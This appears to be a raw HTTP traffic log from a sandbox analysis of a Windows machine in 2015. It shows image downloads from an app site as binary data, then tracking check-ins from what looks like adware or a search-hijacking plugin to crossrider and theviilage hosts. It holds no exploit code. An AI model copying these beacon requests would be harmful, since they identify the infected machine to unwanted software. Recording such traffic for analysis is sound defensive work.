Expires: Wed, 11 Feb 2015 03:01:38 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp
MM:InstanceID="xmp.iid:B61A1BBFD29B11E28771DAFB2D1987AB" xmpMM:Documen
tID="xmp.did:B61A1BC0D29B11E28771DAFB2D1987AB"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:B61A1BBDD29B11E28771DAFB2D1987AB" stRef:d
ocumentID="xmp.did:B61A1BBED29B11E28771DAFB2D1987AB"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
....................>..............................................
...................................................!1AQ"...2..aq..B#..
....Rr.3.SC.5...........9M.e....P.h.......Y0....=q......2.Lv.KHq..y[. 
.$.T. T...Ng..UT....y.....FV.....G.E._j.VU.*..h".r1....=............u~
.E......' .....iT.S.;..O..3.)...q=......:.....:.)B.7T$....B....U......
....U(T.I.'@O^"...7..-.f.b..L..d.9.,.}. z!Fl..............-...F....HJP
:..e:[email protected].../...\.MSJ....h...D.v_..nz.C7.%$...P..<<< skipped >>>

GET /thumbnails/banner/images/assets/c/1/c16ddcefe8d9f0d1f850dfcd8f36687d.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:38 GMT

Content-Type: image/jpeg

Content-Length: 59629

Last-Modified: Thu, 13 Jun 2013 18:30:24 GMT

Connection: keep-alive

ETag: "51ba0fc0-e8ed"

Expires: Wed, 11 Feb 2015 03:01:38 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......JFIF.............`Exif..II*.......1.......&...i...............Pi
casa............0220..................................................
......................................................................
......................................................................
.........................i...........................!..1AQ."aq.#2.BR.
...$3brv......%CSVstu......45Ude.....&DFTcf.............6E............
.......................M..........................".!2.1ABRbqr....#Qa.
....$3......4S...Ìs...5................?..U....hB4!....F.#B.....hB4!
....F.#B.....hB4!....F.#B.....hB4!....F.#B.....hB4!....F.#B.....hB4!..
..F.#B.....hB4!....F.#B.....hB4!....F.#B.....hB4!....F.#B.....hB4!....
F.#B.....hB4!....F.#B.....hB4!....F.#B..........#B.....#B.....hB4!....
F.#B.....hB4!....F.#B.....hB4!....F.#B.....hB4!....F.#B.....hB....C...
..........:rF@'.8...B.E-([email protected].!....B.".........Y4X.z.BU...L7&
0....~...u.(Jg.@l4..........)BQ....go..6...?.:/F.. ..)Z.$....\}.......
..=$.d~.yh...~..N....Q...ZR..X.....}.F>z)BP~...J..$..tR..O....:.*..
).moB...f.....].L.8..o.R....A..........n.?..?ts.*.K..-.q.y...s...c....
..H\.V8.......`.....9...G..l.U..h........_-f..Q......oO...,...PrX.I.&g
t;X.)B..3.@..<r<O..u.(\.....?..mi...xGg.(...?.p.J.x...j......._.
yk.^.R....&H..~~?.B.-..w...FT?A...?.Y..6....U]..-......)B...q........:
)B....:.w~..?w\....................\...H..4!d...|..../"....>Z..'B..
...F.#B.........z..RQ[ig...% .........i.ZG*.<H...h..U......KIW..H&]
...:7.....]IV. ........hB4!....F. ....jKO..).:J.Z:.(....T....>.<<< skipped >>>

GET /images/4.5stars.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:39 GMT

Content-Type: image/jpeg

Content-Length: 2275

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-8e3"

Expires: Wed, 11 Feb 2015 03:01:39 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
......Exif..II*.................Ducky.......P..... hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c01
1 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="
hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.a
dobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:C50CBA34D0FE11E2A837F7F58
4958E09" xmpMM:InstanceID="xmp.iid:C50CBA33D0FE11E2A837F7F584958E09" x
mp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFr
om stRef:instanceID="xmp.iid:D2ECCA94C82C11E2B97E98D68EE09333" stRef:d
ocumentID="xmp.did:D2ECCA95C82C11E2B97E98D68EE09333"/> </rdf:Des
cription> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?
>....Adobe.d.......................................................
......................................................................
......................9...............................................
.....................................!.......1"a2B34AQ.bc.............
........!..1A....a2...Qq."BR%.b#...3.$............?...3...y{....oT..w.
..W<.>V....*....e..,..X}P....O..d...<.......5MuV6.w.3....o/q$
Tb."*.[.K..J...h.....]..........\v.-I..f.$~...H.........Z.....U33\.7.J
.N.GA<-..-.....RK...L..}..........i..[.V.m.k.v.T..ze.b[.u..2...6"..
..).q....?.:.n#t&..g..`.."*.D.;.. ..1'..2...L.*....eTIW.LOtaAO.`&l<<< skipped >>>

GET /thumbnails/icon/images/assets/0/7/07fce0a4ff78cc7e6376e227f046ce06.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:39 GMT

Content-Type: image/png

Content-Length: 514647

Last-Modified: Thu, 13 Jun 2013 17:01:53 GMT

Connection: keep-alive

ETag: "51b9fb01-7da57"

Expires: Wed, 11 Feb 2015 03:01:39 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......<<< skipped >>>

GET /thumbnails/icon/images/assets/5/8/589b1e936e1f038dc45bd8ffff59b359.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:39 GMT

Content-Type: image/png

Content-Length: 275725

Last-Modified: Thu, 13 Jun 2013 18:08:34 GMT

Connection: keep-alive

ETag: "51ba0aa2-4350d"

Expires: Wed, 11 Feb 2015 03:01:39 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...hiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:3212C012122068118A6DE6ECBB0B76D8" xmpMM:DocumentID="xmp.did:1AA1
385C0AE811E286AAD4663D41448D" xmpMM:InstanceID="xmp.iid:1AA1385B0AE811
E286AAD4663D41448D" xmp:CreatorTool="Adobe Photoshop CS5.1 Macintosh"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FB41A5FD2B2068118D
BB8B5619EC708E" stRef:documentID="xmp.did:3212C012122068118A6DE6ECBB0B
76D8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>9..U..1;IDATx...{...U....w>............i
L.......B.@".JK....U...)...ZEj...UT..I..F..ID......B....s`<.o.....|
...z.s....Y...........~..^k].Z...p.....;..}{:t.....3..uk.......92....5
...Mw....{...i{{{~..^?.;vl>V.W....g.{}...q.=...W....W..............
....\...w.....:O.Y..u.q. ..k..\W.... .....>...8.}.x...{..........}.
.>^.p\.#u.:......s../........x...c..[........^.....9^.V.2.9^}.X5.5~
.{.^...x-|><n..gY?.1s..z.....Q..{..s....zo]..?...s.2..:?.9..r|r.
....^8..,37rO... ..1..r..39...^...?.Q.S.I. ....x|>..\s.b=....!.<<< skipped >>>

GET /thumbnails/icon/images/assets/3/d/3d8bbea6bcae57d705c676f7050a7d51.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:39 GMT

Content-Type: image/png

Content-Length: 78510

Last-Modified: Thu, 13 Jun 2013 18:01:40 GMT

Connection: keep-alive

ETag: "51ba0904-132ae"

Expires: Wed, 11 Feb 2015 03:01:39 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;....iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpRights="hXXp://ns.adobe.com
/xap/1.0/rights/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:
stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http
://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocum
entID="uuid:DA79FEE2A7AEDE119DF29D3E787E68C0" xmpMM:DocumentID="xmp.di
d:CB40D9D25FE511E19EB9DC85DDB3BD07" xmpMM:InstanceID="xmp.iid:CB40D9D1
5FE511E19EB9DC85DDB3BD07" xmp:CreatorTool="Adobe Photoshop CS5 Macinto
sh"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:02801174072068
1195FE8B2941CA8449" stRef:documentID="uuid:DA79FEE2A7AEDE119DF29D3E787
E68C0"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&g
t; <?xpacket end="r"?>..h.....IDATx..}.|.....3.E.X.l..%W..`l...l
.......:..Jx....~..{.........I.`0...0..Nh6...,7Y].23.......jW[.]I.....
.)....{.....@ ........@ ..."....@ ........@ .@ ........@ ..."....@ ...
.....@ .@ ........@ ..."....@ ........@ .@ ........@ ..."....@ .......
.@ .@ ........@ ..."....@ .Kh..`...9}..4..qCqq.L.4..>.h.<y20..s.
.{x...}.v....... <..sp..w..../...y3...;./..Y....?a....=......6n..o.
..<..U.....~.&L. ...rAss3466..i.`...r....MMM....*....a..-0~.x..<<< skipped >>>

GET /thumbnails/icon/images/assets/0/6/0692c2494a7331a77c05954f79c5480a.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:39 GMT

Content-Type: image/png

Content-Length: 131190

Last-Modified: Thu, 13 Jun 2013 17:00:43 GMT

Connection: keep-alive

ETag: "51b9fabb-20076"

Expires: Wed, 11 Feb 2015 03:01:39 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs................OiCCPPhotosho
p ICC profile..x..SgTS..=...BK...KoR.. RB....&*!..J.!...Q..EE.........
..Q,......!.........{.k........>...........H3Q5...B..........@..$p.
...d!s.#...~<< ".....x.....M..0.....B.\[email protected]..@F....
&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH..
...........0Q..)..{.`.##x.....F.W<. ...*..x..<.$9E.[.-q.WW..(.I.
 [email protected]..._-...."[email protected]~..,/...;.
.m..%..h^[email protected].~<<E.........J.B[a.W}.g._.W.l.~<..
....$.2].G......L......b...G.......".Ib.X*..Q.q.D...2.".B.).%..d..,..&
gt;.5..j>.{.-.]c..K'.Xt.......o..(...h...w..?.G.%..fI.q..^D$.T..?..
..D..*.A....,.........`6.B$..B.B.d..r`)..B(....*`/[email protected]..=p..
a...(....A...a!...b.X#......!.H...$ ...Q"K.5H1R.T UH..=r.9.\F..;..2...
.G1...Q=...C..7..F...dt1......r..=.6....h...>C.0....3.l0...B.8,..c.
."......V.....c..w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.X
H,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,  .......3...!.[.
[email protected].(R.jJ....4..e.2AU..R...T.5.ZB...R.Q...4u.9...IK......h.h.i..t.
....N..W...G.....w.......g(.....g.w...L......T071......oUX*.*|.....J.&
..*/T.......U.U.T..^S}.FU3S......U..P.S.Sg.;...g.oT?.~Y...Y.L.OC.Q.._.
.. .c..x,!k...u.5.&...|v*......=...9C3J3W.R..f?...q..tN..(...~....).).
.4L.1e\k....X.H.Q.G..6......E.Y...A.J'\'Gg.....S.S.....M=:....k....Dw.
n.....^..Lo..y....}/.T.m...G.X...$.....<.5qo<./...QC][email protected]....
..<..F.F..i.\.$.m.m..&.&!&KM.M..RM..).;L;L........5.=1.2.......<<< skipped >>>

GET /thumbnails/icon/images/assets/7/e/7e5817bad781bbc2d2e43b350ccb53db.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:40 GMT

Content-Type: image/png

Content-Length: 75260

Last-Modified: Thu, 13 Jun 2013 17:47:02 GMT

Connection: keep-alive

ETag: "51ba0596-125fc"

Expires: Wed, 11 Feb 2015 03:01:40 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;..%.IDATx.....$Wy.|N.......9(.$.E.. ....H2.F.`[email protected]
P.B ...J...U.<3;;..s.I..?UuN.wN........>.>..........K.....A..
)S.L...2M..e..)S.L..e..)S.L."...)S.L.2E..)S.L.2e..(S.L.2e...P.L.2e..).
.L.2e..)[email protected]..)S...2e..)S.L..e..)S.L."...)S.L.2E..)S.L.2e..(S.L.2e..
.P.L.2e..)..L.2e..)[email protected]..)S...2e..)S.L..e..)S.L..e..)S.L."...)S.L...
..u..)..a.....l....|.x<.L.2E..)S...c..=..~...y....Dx..}$<...2e..
(S....i9,,.p..xL....._......y"<&[O|..4(S.L..e."[email protected].&
.....w[2...v:.c....*b.L."........w..c._v;.r[|L...nk....#....'../[.._v;
-y.-</..$.D..e...P.,L`....R.r...y..l....#.0..\H.[.>...@^.|}I..MK
..n..K.-.(B.L.".......Ha.>...5..k..j..j=...B....,..Q....Y. ....<
.?).....<.. .".....)P.L..e..............K..~..6.N..A....J.#....$`..
...'$..".O..M....).(B.LY...S.=....P../}...C.^C.0}..."...,........*...M
...!......p[v?....`....!.k..kS.........3.~.KO;^F..~...s\...~.....P....
...6..x... _/.m.r.^...X>......t*.-..kF......'.........J,.&F{...=.._
...,.O..LO./.AKWl.E.gl.....O..f...8.?D.. Vo...o.h5...[.......<.|...
.5.....~..^....dK..($=".V.`...j..K.H......8..;[email protected]...{7..
^.s..Q../O~|..1>5\;xb_.l|.6>9\?9...N.h.........Db...`.........i.
.w.;...J.'..s....V....X..e.B........[..H.Z.m~..sf......^..MHR......y@.
 i....t.Xl..@......$..*........1.......j.}...z.1....K<w..Q.x.4....z
.G.k..=.2....O.6L..7-..k..CM..<x........._7>.k.........?..&VSK..
..i].f..yYr......a~....Y...9p.....<..$....}H..$...HAJ.! ....2.;<<< skipped >>>

GET /thumbnails/icon/images/assets/b/1/b147a5a09b49b133d347bd975a4c5616.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:40 GMT

Content-Type: image/png

Content-Length: 30650

Last-Modified: Thu, 13 Jun 2013 17:47:25 GMT

Connection: keep-alive

ETag: "51ba05ad-77ba"

Expires: Wed, 11 Feb 2015 03:01:40 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:71D9E4DE6D23E211AAF983B2253A61DC" xmpMM:DocumentID="xmp.did:6893
0C164B6D11E29DDD9E92BE5DC8BE" xmpMM:InstanceID="xmp.iid:68930C154B6D11
E29DDD9E92BE5DC8BE" xmp:CreatorTool="Adobe Photoshop CS5.1 Windows">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:B1100053694BE2118E0D
C678A406B0D7" stRef:documentID="xmp.did:71D9E4DE6D23E211AAF983B2253A61
DC"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>......s.IDATx.......y..V.Y...R..n....1.,....a
.f.c.d.........Lr.x.....I2.87....'........`@..#...........V......>.
.-.Ru...TNw...........Z..%.}... ..K..g$..._..s......(h..<..y..9..s.
...._.../.`.......]...{......g#...~.!..L.......l.5..ky.\..............
..y~.........ks|.O..[..W.....C.....@!..1....T...g~C.>[email protected]
...U..~...C....0....JY..w...~N...K.h.....8.........2.Q..../..y. ......
.....2.9..~.....e.e.7@?..P..[..m..........z........m...6..$I.......|.@
.....Q....<u.......O?. .~N.f....[l...%$.....8S]~>.....#.z..]<<< skipped >>>

GET /thumbnails/icon/images/assets/a/c/ace33f0a1eddf74bbe8d1bfac70deded.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826

...

GET /images/bg_main.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826

GET /images/btn_bg.jpg HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826; _ga=GA1.2.1387098998.1423621902

GET /images/close.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.appshat.com

Connection: Keep-Alive

Cookie: symfony=ejk76d31ka5ta8uf119u55m826; _ga=GA1.2.1387098998.1423621902; _gat=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:31:40 GMT

Content-Type: image/png

Content-Length: 1200

Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT

Connection: keep-alive

ETag: "5214ef07-4b0"

Expires: Wed, 11 Feb 2015 03:01:40 GMT

Cache-Control: max-age=1800

Accept-Ranges: bytes
.PNG........IHDR...............1R....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:75A8A812CEB911E2AE0AE7EB
A740C145" xmpMM:DocumentID="xmp.did:75A8A813CEB911E2AE0AE7EBA740C145"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75A8A810CEB911E2AE
0AE7EBA740C145" stRef:documentID="xmp.did:75A8A811CEB911E2AE0AE7EBA740
C145"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>he.....$IDATx.b455...`..|...EKK......%%%...
[email protected]..(.........Yrrr999.......r......f..q..U....
...~.....&..7o.........ijjN.4....X.srr..................WTT.:u..3gp...
......?xBA\\.........x.... 55u...@vLL..'O.\.@N<........c.g..r......
.1p..].......!By.PRR".G..*U.=..#[email protected]`.
..<<< skipped >>>

GET /utility.gif?error=done_mem_0&report=mini_s&ver=820&action=na&ms_vr=3&clock=16015&rnd=6371 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Wed, 11 Feb 2015 02:31:44 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /searchprotect/up?ptid=smt&sid=IHProtectPlugin&ln=en_us&ver=4.0.1.1716&uid=535559167_198339_B48A115F&dp=0 HTTP/1.1

Host: VVV.theviilage.com

User-Agent: Mozilla/4.0

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 11 Feb 2015 02:33:33 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.2.14p1

1..0..0..

GET /root.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.globalsign.net


HTTP/1.1 200 OK

Date: Wed, 11 Feb 2015 02:34:06 GMT

Content-Type: application/x-pkcs7-crl

Content-Length: 649

Connection: keep-alive

Set-Cookie: __cfduid=de8757379a935b34fa2904e0ee12049871423622046; expires=Thu, 11-Feb-16 02:34:06 GMT; path=/; domain=.globalsign.net; HttpOnly

Last-Modified: Thu, 11 Dec 2014 05:33:42 GMT

CF-Cache-Status: HIT

Expires: Thu, 12 Feb 2015 02:34:06 GMT

Cache-Control: public, max-age=86400

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1b6d25410b3508b1-FRA

0...0..m...0...*.H........0W1.0...U....BE1.0...U....GlobalSign nv-sa1.
0...U....Root CA1.0...U....GlobalSign Root CA..141210000000Z..15033100
0000Z0..0*.........D.....141125000000Z0.0...U.......0*........)E.....1
41125000000Z0.0...U.......0*........ ...h..141125000000Z0.0...U.......
0*........,^.....141125000000Z0.0...U......../0-0...U....../0...U.#..0
